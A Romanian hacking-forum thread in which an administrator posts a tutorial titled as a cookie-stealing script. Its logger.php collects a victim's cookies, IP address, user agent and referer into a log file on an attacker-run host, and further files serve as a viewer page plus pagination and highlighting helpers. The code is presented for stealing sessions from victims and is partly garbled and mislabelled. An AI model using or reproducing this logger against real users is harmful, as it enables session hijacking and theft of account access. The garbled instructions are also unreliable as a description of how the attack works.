Simpatie.ro - matrimoniale
Ne-am mutat pe xhackers.4umer.com
Ne-am mutat pe xhackers.4umer.com
Nou pe simpatie:
OnutzaGirl
Femeie
23 ani
Galati
cauta Barbat
24 - 51 ani
Ne-am mutat pe xhackers.4umer.comReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
Ne-am mutat pe xhackers.4umer.com / Scripturi Hacking / Source Code /

Script de furat cookie-urile

Pagini: 1 Moderat de Bloody
#1
ß®£αK£®™
Administrator
Postari: 311
Acum am sa va arat cum puteti fura cookie-urile la cineva !



Tutorial

1. Faceti un fisier logger.php care sa contina :

Code:

<!--?php
$cookie = $HTTP_GET_VARS["cookie"];
$date = date ("j F Y h:i:s A");
$ip = $_SERVER['REMOTE_ADDR'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$referer = $_SERVER['HTTP_REFERER'];
$file = fopen('logs.html', 'a');
fwrite($file, "<tr-->\n <font color="#990000"><b>\n Cookies : </b></font>$cookie
\n<font color="#990000"><b> Date : </b></font> $date
\n <font color="#990000"><b> IP : </b></font> $ip
\n<font color="#990000"><b>\n Referer : </b></font>$referer
\n<font color="#990000"><b> Agent : </b></font> $agent
\n<hr><hr>
\n\n");
fclose($file);
header( 'Location: http://www.redirectURL.com' ) ;
?>

2. Faceti un fisier logger.js care sa contina : (unde e scris "sit-ul tau.com" pune sit-ul tau)

Code:

<style type="text/css">  

                        body
                        {
overflow:visible;
                        }
        .pg-normal {
        color: black;
        font-weight: normal;
        text-decoration: none;  
        cursor: pointer;  
        }
        .pg-selected {
        color: black;
        font-weight: bold;  
        text-decoration: underline;
        cursor: pointer;
        }
  </style>


        

  <center><div id="pageNavPosition"></div></center>
<hr>
  <form action="" method="get" enctype="application/x-www-form-urlencoded">
  <table id="results">
        <tbody><tr>
        <th></th>
        <th></th>
        </tr>

<!--?php include 'logs.html'; ?-->

</tbody></table>
        </form>

3. Faceti un fisier numit page.js care sa contina :

Code:

function Pager(tableName, itemsPerPage) {
        this.tableName = tableName;
        this.itemsPerPage = itemsPerPage;
        this.currentPage = 1;
        this.pages = 0;
        this.inited = false;

        this.showRecords = function(from, to) {  
  var rows = document.getElementById(tableName).rows;
  // i starts from 1 to skip table header row
  for (var i = 1; i < rows.length; i++) {
        if (i < from || i > to)
        rows[i].style.display = 'none';
        else
        rows[i].style.display = '';
  }
        }

        this.showPage = function(pageNumber) {
  if (! this.inited) {
  alert("not inited");
  return;
  }

  var oldPageAnchor = document.getElementById('pg'+this.currentPage);
  oldPageAnchor.className = 'pg-normal';

  this.currentPage = pageNumber;
  var newPageAnchor = document.getElementById('pg'+this.currentPage);
  newPageAnchor.className = 'pg-selected';

  var from = (pageNumber - 1) * itemsPerPage + 1;
  var to = from + itemsPerPage - 1;
  this.showRecords(from, to);
        }  

        this.prev = function() {
  if (this.currentPage > 1)
        this.showPage(this.currentPage - 1);
        }

        this.next = function() {
  if (this.currentPage < this.pages) {
        this.showPage(this.currentPage + 1);
  }
        }       

        this.init = function() {
  var rows = document.getElementById(tableName).rows;
  var records = (rows.length - 1);
  this.pages = Math.ceil(records / itemsPerPage);
  this.inited = true;
        }

        this.showPageNav = function(pagerName, positionId) {
  if (! this.inited) {
  alert("not inited");
  return;
  }
  var element = document.getElementById(positionId);

  var pagerHtml = '<span onclick="' + pagerName + '.prev();" class="pg-normal"> « Prev </span> | ';
  for (var page = 1; page <= this.pages; page++)
        pagerHtml += '<span id="pg' + page + '" class="pg-normal" onclick="' + pagerName + '.showPage(' + page + ');">' + page + '</span> | ';
  pagerHtml += '<span onclick="'+pagerName+'.next();" class="pg-normal"> Next »</span>';        

  element.innerHTML = pagerHtml;
        }
}

4. Faceti un fisier numit highlight.js care sa contina :

Code:

function doHighlight(bodyText, searchTerm, highlightStartTag, highlightEndTag)
{
  // the highlightStartTag and highlightEndTag parameters are optional
  if ((!highlightStartTag) || (!highlightEndTag)) {
        highlightStartTag = "<font style="color:blue; background-color:yellow;"><b>";
        highlightEndTag = "</b></font>";
  }
  var newText = "";
  var i = -1;
  var lcSearchTerm = searchTerm.toLowerCase();
  var lcBodyText = bodyText.toLowerCase();

  while (bodyText.length > 0) {
        i = lcBodyText.indexOf(lcSearchTerm, i+1);
        if (i < 0) {
  newText += bodyText;
  bodyText = "";
        } else {
  // skip anything inside an HTML tag
  if (bodyText.lastIndexOf(">", i) >= bodyText.lastIndexOf("<", i)) {
  // skip anything inside a <script> block
  if (lcBodyText.lastIndexOf("/script>", i) >= lcBodyText.lastIndexOf("<script", i)) {
        newText += bodyText.substring(0, i) + highlightStartTag + bodyText.substr(i, searchTerm.length) + highlightEndTag;
        bodyText = bodyText.substr(i + searchTerm.length);
        lcBodyText = bodyText.toLowerCase();
        i = -1;
  }
  }
        }
  }

  return newText;
}

Si in sfarsit puneti tot pe un host dati la victima logs.html (site.tau.ro/logs.html) si cookie-urile o sa va apara la logs.php(site.tau.ro/logs.php)</script>


_______________________________________
We are Anonymous!
We are legion!
Wait for us!
We X-HackersTeam!
We have the power!
We want respect!
X-HackersTeam is Anonymous
EXPECT US !



 
   
#2
smirered
newbie
Postari: 1
cum fac sa nu imi vada sitte cookye

 
   
Pagini: 1  
Mergi la